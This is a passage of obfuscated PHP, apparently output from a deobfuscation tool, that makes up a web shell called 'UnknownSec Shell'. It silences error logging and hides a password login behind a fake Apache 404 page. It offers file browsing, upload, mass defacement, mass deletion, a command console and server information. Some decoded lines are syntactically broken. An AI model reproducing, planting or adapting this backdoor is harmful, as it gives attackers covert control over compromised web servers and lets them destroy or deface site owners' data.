x68\73\xa\x9\x62\141\143\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x20\43\62\x34\x32\x34\62\x34\73\12\11\x63\x6f\x6c\x6f\x72\72\x20\x23\x66\x66\146\73\12\x7d\12\56\160\x72\145\x20\x7b\xa\11\x68\145\151\x67\150\x74\72\40\x35\60\x30\160\170\73\12\x9\x6f\x76\x65\162\x66\154\x6f\x77\x3a\40\x61\x75\164\157\x3b\xa\11\167\x68\151\164\145\55\163\x70\x61\x63\x65\72\x20\160\162\145\55\167\162\141\160\73\xa\x9\146\x6c\x65\170\x2d\x67\162\x6f\167\x3a\x20\x31\x3b\12\x9\x6d\x61\x72\147\151\156\72\x31\x30\x70\170\x20\x61\165\164\157\x3b\12\11\x70\x61\x64\x64\x69\156\147\72\61\60\160\x78\x3b\xa\11\x6c\x69\156\x65\x2d\x68\145\x69\x67\150\164\x3a\61\56\63\x65\155\x3b\12\11\x6f\x76\145\162\x66\x6c\157\167\x2d\x78\72\x73\x63\162\x6f\154\154\x3b\xa\x7d\12\74\x2f\163\164\171\x6c\145\x3e\12\x3c\142\157\x64\x79\40\143\x6c\141\163\x73\x3d\47\142\x67\x2d\x73\145\x63\x6f\x6e\144\x61\x72\171\40\164\x65\170\x74\55\154\x69\147\150\x74\x27\x3e\12\74\144\x69\166\x20\x63\x6c\x61\163\163\x3d\x27\x63\x6f\x6e\x74\141\x69\156\x65\162\55\146\x6c\165\x69\144\47\x3e\xa\x9\74\144\x69\x76\40\x63\154\141\x73\x73\x3d\x27\160\171\55\63\47\40\x69\144\75\x27\155\x61\x69\x6e\47\76\12\11\x9\x3c\x64\151\x76\40\143\154\x61\163\x73\x3d\47\x62\x6f\x78\40\163\x68\x61\x64\157\167\x20\x62\x67\x2d\x64\141\x72\x6b\40\160\x2d\x34\x20\x72\x6f\165\156\x64\145\144\x2d\x33\x27\76\12\x9\x9\x9\74\x64\151\166\40\143\x6c\141\163\x73\75\47\x63\x6f\162\x6e\145\162\x20\x74\x65\x78\x74\55\163\145\143\157\156\144\141\x72\171\47\76\x73\x68\145\154\154\40\x62\171\x70\141\x73\x73\x20\x34\x30\x33\x3c\x2f\x64\x69\166\x3e\12\11\x9\x9\11\x3c\x61\40\x63\x6c\x61\163\x73\x3d\x27\x74\145\x78\x74\x2d\x64\x65\143\157\x72\x61\x74\x69\157\x6e\55\156\157\x6e\x65\40\164\145\x78\164\55\x6c\151\147\150\x74\x27\40\150\162\145\146\x3d\47".$_SERVER["\x50\110\x50\137\123\x45\114\106"].
"\x27\76\x3c\150\x34\x3e{$_n}\x20\123\150\x65\x6c\x6c\74\x2f\x68\64\76\x3c\x2f\141\76";
goto d5AR3;
ZSG1L: $_s = "\74\x73\x74\x79\154\145\x3e\x74\141\142\x6c\145\173\144\x69\163\x70\x6c\141\x79\x3a\x6e\157\156\x65\73\x7d\x3c\x2f\163\x74\x79\x6c\145\76\x3c\144\151\166\40\x63\154\141\163\x73\75\47\x74\141\x62\154\x65\x2d\162\x65\163\160\x6f\x6e\x73\x69\x76\x65\x27\x3e\x3c\150\x72\x3e\74\57\x64\x69\166\x3e";
goto I2zBZ;
XQBS8: session_start();
goto ChEsd;
bS5y1: error_reporting(0);
goto ILuhU;
UwZXo: @ini_set("\x6f\165\x74\x70\x75\164\137\142\x75\146\146\x65\x72\x69\x6e\x67", 0);
goto njkRc;
jHrmM: $_n = "\x55\x6e\153\x6e\x6f\167\156\x53\145\143";
goto ZSG1L;
d5AR3: if (isset($_GET["\160\x61\x74\150"])) {
    $path = $_GET["\160\141\x74\150"];
} else {
    $path = getcwd();
} goto MrPqa;
Euf97: function er() {
    echo "\x3c\144\x69\166\40\143\x6c\x61\163\163\75\x22\141\154\x65\162\x74\x20\x61\154\x65\162\164\55\144\x61\156\x67\145\162\x20\x61\x6c\145\162\164\x2d\x64\151\163\155\x69\x73\x73\151\x62\x6c\x65\x20\146\141\x64\145\x20\x73\x68\x6f\x77\40\155\x79\x2d\63\42\40\x72\157\154\145\x3d\42\141\x6c\145\x72\x74\x22\76\74\142\165\x74\164\157\156\40\164\x79\x70\x65\75\42\142\x75\164\164\x6f\156\42\40\x63\154\141\x73\163\x3d\x22\142\x74\x6e\x2d\x63\x6c\x6f\163\x65\42\40\144\x61\164\141\55\x62\x73\x2d\144\x69\163\x6d\x69\163\163\x3d\42\141\x6c\145\x72\164\42\x20\x61\x72\x69\141\55\154\x61\142\x65\x6c\x3d\x22\x43\x6c\x6f\x73\x65\42\x3e\74\57\142\165\x74\164\x6f\156\76";
}
goto aRUns;
b5dkw: if (empty($_SESSION[md5($_SERVER["\x48\x54\124\x50\x5f\110\x4f\x53\x54"])])) {
    if (isset($_POST[$keyxx]) and sha1(md5($_POST[$keyxx])) == $auth_pass5) {
        $_SESSION[md5($_SERVER["\110\x54\124\120\x5f\x48\117\123\x54"])] = true;
    } else {
        printLoginx();
    }
    die;
} goto vB7bn;
b1X5j: function ok() {
    echo "\74\144\x69\x76\40\x63\x6c\x61\163\x73\x3d\42\141\154\x65\162\x74\x20\141\x6c\145\162\x74\55\x73\165\x63\x63\x65\x73\x73\40\x61\154\x65\162\x74\x2d\144\x69\x73\x6d\151\163\163\151\142\154\x65\x20\146\x61\144\x65\40\163\150\x6f\x77\x20\155\x79\x2d\x33\x22\x20\162\157\154\145\75\x22\x61\154\145\162\164\x22\76\74\x62\x75\x74\164\x6f\x6e\x20\x74\x79\x70\145\x3d\x22\x62\x75\164\x74\157\x6e\x22\40\x63\x6c\x61\x73\x73\x3d\42\x62\x74\156\x2d\143\154\x6f\163\145\x22\40\144\141\164\x61\55\142\163\55\x64\151\x73\155\x69\163\x73\75\42\141\154\145\x72\x74\42\x20\x61\162\x69\x61\55\x6c\141\142\145\x6c\75\42\x43\x6c\x6f\x73\x65\42\76\x3c\x2f\142\x75\x74\164\x6f\x6e\x3e";
}
goto Euf97;
I2zBZ: $_r = "\x72\145\x71\165\151\x72\x65\x64\x3d\47\162\x65\x71\x75\x69\162\x65\x64\47";
goto Rp_bD;
BBWa4: echo "\x20\133\40".($path, p($path)).
"\40\135\74\57\144\151\166\x3e";
goto xZKoa;
fjy1W: function ip() {
    $ipas = '';
    if (getenv("\110\x54\124\x50\x5f\103\114\111\105\x4e\x54\137\111\120")) {
        $ipas = getenv("\110\124\x54\x50\x5f\x43\x4c\111\x45\x4e\x54\137\x49\x50");
    } else {
        if (getenv("\x48\x54\124\120\x5f\x58\137\106\x4f\122\127\101\x52\x44\105\x44\137\x46\x4f\x52")) {
            $ipas = getenv("\x48\x54\x54\120\x5f\x58\x5f\x46\x4f\122\127\101\122\104\x45\104\137\x46\x4f\x52");
        } else {
            if (getenv("\x48\x54\x54\x50\137\x58\137\106\x4f\122\127\101\x52\104\x45\104")) {
                $ipas = getenv("\110\x54\x54\120\x5f\130\x5f\x46\117\x52\x57\101\x52\x44\105\x44");
            } else {
                if (getenv("\x48\x54\124\120\137\x46\x4f\x52\127\x41\x52\104\x45\x44\137\106\x4f\122")) {
                    $ipas = getenv("\110\x54\124\x50\x5f\x46\117\x52\127\101\122\x44\105\104\x5f\x46\117\122");
                } else {
                    if (getenv("\110\x54\124\x50\137\106\x4f\x52\x57\x41\122\x44\105\x44")) {
                        $ipas = getenv("\110\x54\124\x50\x5f\x46\117\122\127\x41\122\x44\x45\104");
                    } else {
                        if (getenv("\x52\x45\115\117\124\x45\x5f\101\x44\x44\x52")) {
                            $ipas = getenv("\122\105\115\x4f\124\x45\137\x41\x44\x44\x52");
                        } else {
                            $ipas = "\x49\120\x20\164\151\144\141\153\40\144\151\x6b\145\x6e\141\x6c\151";
                        }
                    }
                }
            }
        }
    }
    return $ipas;
}
goto CjPeU;
ILuhU: @ini_set("\x65\x72\162\x6f\x72\x5f\x6c\157\x67", null);
goto W0RSh;
ChEsd: function generateRandomString($length = 10) {
    $characters = "\60\x31\62\x33\64\65\x36\67\x38\x39\x61\x62\143\144\x65\146\x67\150\151\152\153\154\155\x6e\157\x70\x71\x72\163\164\165\x76\x77\170\171\x7a\x41\102\103\x44\105\106\x47\110\111\x4a\113\x4c\115\116\x4f\x50\121\122\x53\x54\x55\x56\127\x58\131\x5a";
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString. = $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
goto JH8im;
OF3Fw: date_default_timezone_set("\x41\163\151\141\57\112\141\x6b\141\162\x74\x61");
goto jHrmM;
aRUns: function sz($byt) {
    $sz = array("\x42", "\113\102", "\115\102", "\x47\x42", "\124\102");
    for ($i = 0; $byt >= 1024 && $i < count($sz) - 1; $byt /= 1024, $i++) {}
    return round($byt, 2).
    "\x20".$sz[$i];
}
goto fjy1W;
njkRc: @ini_set("\x64\x69\x73\x70\154\141\171\x5f\x65\x72\162\x6f\x72\x73", 0);
goto OF3Fw;
Rp_bD: $_x = "\74\151\x20\x63\x6c\141\x73\163\x3d\x27\x62\x69\40\x62\151\55\x67\145\141\162\55\146\x69\154\x6c\x27\76\x3c\x2f\151\x3e";
goto BijK0;
RCw0L: $dir = str_replace("\x5c", "\x2f", $dir);
goto SY9nb;
L_JDP: foreach($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "\x3c\x64\x69\x76\40\x63\154\x61\x73\x73\75\42\x74\x61\x62\154\145\x2d\x72\145\163\x70\157\156\163\x69\166\x65\x22\76\74\151\40\143\x6c\141\x73\163\75\42\142\151\40\x62\151\x2d\x68\x64\144\x2d\x72\141\143\x6b\x22\76\74\x2f\x69\76\x20\72\x20\x3c\x61\40\x63\x6c\x61\x73\x73\75\x22\x74\x65\x78\x74\55\x64\x65\143\x6f\162\141\164\151\157\156\x2d\156\x6f\156\145\x20\164\x65\x78\x74\x2d\x6c\151\x67\150\x74\42\40\150\162\145\x66\x3d\x22\x3f\x70\x61\164\x68\x3d\x2f\x22\x3e\x2f\x3c\x2f\x61\76";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "\74\141\40\x63\x6c\141\163\x73\x3d\x22\164\145\x78\x74\x2d\144\145\x63\x6f\162\141\x74\x69\x6f\156\x2d\156\x6f\156\x65\42\40\x68\162\x65\x66\75\x22\x3f\160\x61\164\x68\x3d";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "\x2f";
        }
    }
    echo "\x22\76".$pat.
    "\x3c\57\x61\x3e\x2f";
}
goto BBWa4;
orN76: $auth_pass5 = "\x36\x38\66\x32\66\x36\66\145\70\x31\66\x32\146\145\70\x34\144\x33\x31\x36\141\145\145\x35\x31\146\x62\x62\60\67\x66\66\x31\64\x61\x63\x66\63\141\66";
goto kAh0V;
oLpNc: if (isset($_GET["\160\141\164\x68"])) {
    $dir = $_GET["\160\141\164\x68"];
    chdir($dir);
} else {
    $dir = getcwd();
} goto RCw0L;
vB7bn: set_time_limit(0);
goto bS5y1;
W0RSh: @ini_set("\x6c\157\147\137\x65\x72\x72\157\x72\x73", 0);
goto yo3RB;
JH8im: function printLoginx() {
    echo "\74\41\104\117\103\124\x59\120\x45\x20\150\x74\x6d\x6c\76\74\x68\164\x6d\154\76\74\x68\145\x61\144\76\x3c\x6d\145\x74\141\x20\x6e\x61\155\x65\75\42\162\x6f\x62\x6f\164\163\x22\x20\143\x6f\x6e\164\145\156\x74\42\x6e\x6f\x69\156\144\145\x78\x2e\40\x6e\157\x66\157\154\x6c\x6f\x77\x22\76\74\x74\x69\164\154\145\x3e\x3c\x2f\x74\x69\x74\x6c\x65\76\74\x2f\150\x65\x61\144\76\x3c\x62\x6f\144\x79\76\xa\x20\x3c\x68\x31\76\x4e\x6f\x74\x20\x46\157\165\x6e\144\x3c\x2f\150\x31\x3e\x20\xa\40\40\x20\40\40\74\x74\x69\x74\154\145\x3e\x34\x30\x34\40\116\x6f\164\x20\x46\157\x75\156\x64\x3c\x2f\x74\x69\x74\x6c\x65\x3e\12\x20\x3c\x73\x74\x79\154\145\40\x74\x79\160\145\x3d\42\164\x65\x78\x74\x2f\x63\163\x73\x22\x3e\12\x20\151\156\x70\x75\164\133\164\171\x70\145\x3d\x70\x61\x73\x73\x77\157\162\144\135\x20\x7b\xa\40\x20\40\40\x20\x77\x69\x64\164\150\x3a\x20\x32\65\x30\x70\170\x3b\12\40\40\x20\40\40\150\145\x69\147\150\164\x3a\x20\62\65\160\x78\73\xa\x20\40\40\x20\40\143\157\154\x6f\162\72\40\x77\150\151\164\x65\73\12\40\x20\40\x20\x20\x62\x61\143\x6b\x67\x72\157\165\156\x64\x3a\40\x74\162\x61\156\163\160\x61\162\x65\x6e\164\73\xa\x20\40\40\x20\40\x62\x6f\x72\144\145\x72\x3a\x20\x31\160\x78\x20\163\x6f\x6c\151\144\x20\167\150\x69\x74\145\73\xa\x20\x20\40\40\40\x6d\141\x72\147\x69\156\55\154\145\x66\x74\x3a\x20\x32\x30\x70\170\73\12\x20\40\40\40\40\164\145\170\164\55\x61\x6c\151\147\x6e\x3a\40\143\145\156\x74\145\162\x3b\xa\40\x7d\xa\40\74\57\x73\164\x79\154\x65\76\12\40\x20\40\40\x20\74\x70\x3e\124\150\145\x20\162\145\161\165\x65\163\164\145\144\x20\125\122\x4c\x20\167\x61\x73\x20\x6e\x6f\x74\40\146\157\x75\x6e\144\x20\x6f\156\40\x74\150\151\163\x20\163\x65\x72\166\x65\162\56\x3c\x2f\160\76\40\xa\x20\x3c\160\x3e\101\x64\144\151\x74\x69\157\x6e\x61\154\x6c\x79\x2c\x20\141\40\64\60\64\x20\116\157\x74\40\106\x6f\x75\156\x64\40\x65\x72\162\157\162\40\x77\x61\x73\40\x65\x6e\143\157\x75\156\164\x65\x72\145\x64\40\x77\150\x69\154\145\40\164\162\171\151\156\x67\40\164\x6f\40\165\163\x65\x20\141\156\x20\x45\162\162\x6f\162\104\x6f\x63\x75\155\145\x6e\164\x20\x74\157\x20\150\x61\x6e\x64\x6c\x65\x20\164\150\145\40\x72\145\x71\165\145\x73\164\56\74\x2f\x70\76\x20\xa\40\x3c\150\162\76\40\xa\x20\74\141\144\x64\162\145\x73\x73\76\x41\160\x61\x63\150\145\40\123\145\162\x76\145\x72\40\141\x74\40".$_SERVER["\x48\x54\124\120\137\x48\117\123\124"].
    "\40\120\x6f\162\164\x20".$_SERVER["\x53\105\122\x56\x45\x52\137\x50\117\x52\x54"].
    "\x3c\57\141\144\144\162\x65\x73\163\76\x20\xa\xa\40\x3c\143\145\x6e\164\x65\162\x3e\x3c\146\157\162\x6d\x20\x6d\145\x74\x68\x6f\x64\75\42\160\157\163\x74\42\x3e\x3c\151\156\160\165\x74\x20\x74\171\160\145\x3d\42\160\x61\163\163\x77\157\162\144\x22\x20\x6e\141\155\x65\x3d\42".$_SESSION["\153\x65\x79\x78\x78"].
    "\42\x20\x61\x75\x74\157\x63\x6f\155\x70\x6c\145\164\x65\75\42\157\x66\x66\x22\x3e\x3c\x62\162\x3e\x3c\57\146\x6f\162\x6d\76\x3c\57\x63\145\156\x74\x65\162\x3e\74\57\142\x6f\144\171\x3e\74\57\150\x74\155\154\x3e\xa\x20\x20\x20\40";
    die;
}
goto orN76;
xZKoa: echo "\xa\x9\x9\74\57\x64\x69\x76\x3e\xa\11\x3c\57\144\151\166\x3e\12\74\x2f\144\x69\x76\76\12\x3c\x64\151\x76\x20\x63\154\x61\x73\163\x3d\47\143\157\x6e\164\x61\151\156\x65\162\x2d\x66\154\165\151\x64\47\x3e\xa\x9\x3c\x64\x69\x76\40\143\154\x61\x73\163\x3d\47\142\x6f\x78\x20\163\x68\x61\x64\157\167\x20\x62\147\55\144\x61\x72\153\x20\160\55\64\40\x72\157\x75\156\x64\145\144\55\x33\x27\x3e\xa\x9\11\74\144\x69\166\40\143\x6c\x61\x73\163\x3d\x27\164\145\170\164\55\143\145\156\x74\145\162\x27\x3e\xa\x9\11\11\x3c\x61\x20\x63\154\x61\x73\x73\x3d\x27\x62\164\x6e\40\142\x74\x6e\55\157\x75\x74\154\x69\156\145\x2d\154\x69\147\x68\164\x20\142\x74\x6e\55\x73\155\47\x20\150\x72\x65\x66\75\47\x3f\x69\144\x3d\165\x70\154\x6f\141\144\46\160\x61\x74\x68\75{$path}\47\76\74\151\x20\x63\154\x61\163\163\75\x27\x62\x69\x20\x62\x69\55\x75\x70\x6c\x6f\141\x64\x27\x3e\x3c\x2f\151\x3e\40\x75\x70\154\157\x61\x64\74\x2f\x61\x3e\12\11\x9\x9\74\141\x20\143\154\x61\x73\x73\75\47\142\164\156\x20\142\164\156\55\157\165\164\x6c\x69\x6e\x65\55\154\x69\x67\150\x74\40\142\x74\156\x2d\x73\155\x27\x20\x68\x72\145\146\75\47\x3f\x69\x64\75\144\x65\146\x61\x63\145\46\160\141\x74\x68\75{$path}\47\x3e\74\151\x20\x63\154\141\x73\163\75\47\142\x69\x20\142\x69\55\145\170\x63\x6c\x61\155\x61\164\151\157\156\x2d\x64\x69\x61\155\157\x6e\144\47\76\x3c\57\151\x3e\40\155\x61\x73\163\40\x64\145\146\141\x63\x65\74\x2f\141\76\12\x9\x9\11\74\141\x20\x63\154\x61\x73\163\75\x27\142\x74\156\40\x62\x74\x6e\55\157\x75\x74\154\x69\156\x65\55\154\x69\x67\150\x74\x20\x62\164\156\55\163\155\47\40\x68\162\145\x66\75\x27\77\x69\x64\x3d\x64\x65\x6c\145\164\145\46\x70\141\x74\150\75{$path}\47\x3e\74\x69\40\x63\154\141\163\x73\x3d\47\x62\151\x20\x62\151\55\x74\x72\x61\x73\150\47\x3e\74\57\x69\x3e\40\x6d\141\x73\163\x20\x64\x65\154\x65\x74\x65\x3c\x2f\141\76\12\x9\11\x9\74\141\40\x63\x6c\141\x73\163\x3d\x27\x62\164\x6e\40\x62\164\x6e\55\x6f\x75\164\154\151\156\x65\55\154\151\x67\150\x74\x20\x62\164\156\55\x73\155\x27\40\150\x72\145\146\x3d\x27\77\x69\144\x3d\143\155\x64\46\x70\141\x74\x68\75{$path}\47\x3e\x3c\151\40\143\154\141\x73\x73\x3d\x27\142\x69\40\142\x69\55\x74\x65\x72\155\151\x6e\x61\154\x27\76\x3c\57\151\76\40\143\157\156\163\157\x6c\x65\74\57\141\76\12\x9\x9\x9\74\141\40\143\154\x61\163\163\x3d\x27\x62\164\x6e\x20\142\x74\156\x2d\157\x75\x74\x6c\x69\x6e\x65\x2d\x6c\151\x67\x68\164\x20\x62\164\x6e\55\x73\155\47\40\x68\x72\145\x66\x3d\47\77\x69\144\75\151\x6e\x66\157\x26\x70\141\x74\x68\75{$path}\47\76\74\x69\40\143\154\141\x73\x73\75\x27\x62\151\x20\x62\151\x2d\151\x6e\x66\157\55\x63\151\x72\x63\154\x65\x27\x3e\x3c\57\151\76\40\151\x6e\x66\157\40\163\145\x72\x76\145\162\x3c\57\141\x3e\xa\11\x9\74\57\x64\151\166\76";
goto oLpNc;
kUi_O: $paths = explode("\x2f", $path);
goto L_JDP;
BuwMq: ? >

Function Calls

None

Variables

None

Stats

MD5 fb7e47fda9cde850829190d7ef2b2614
Eval Count 0
Decode Time 144 ms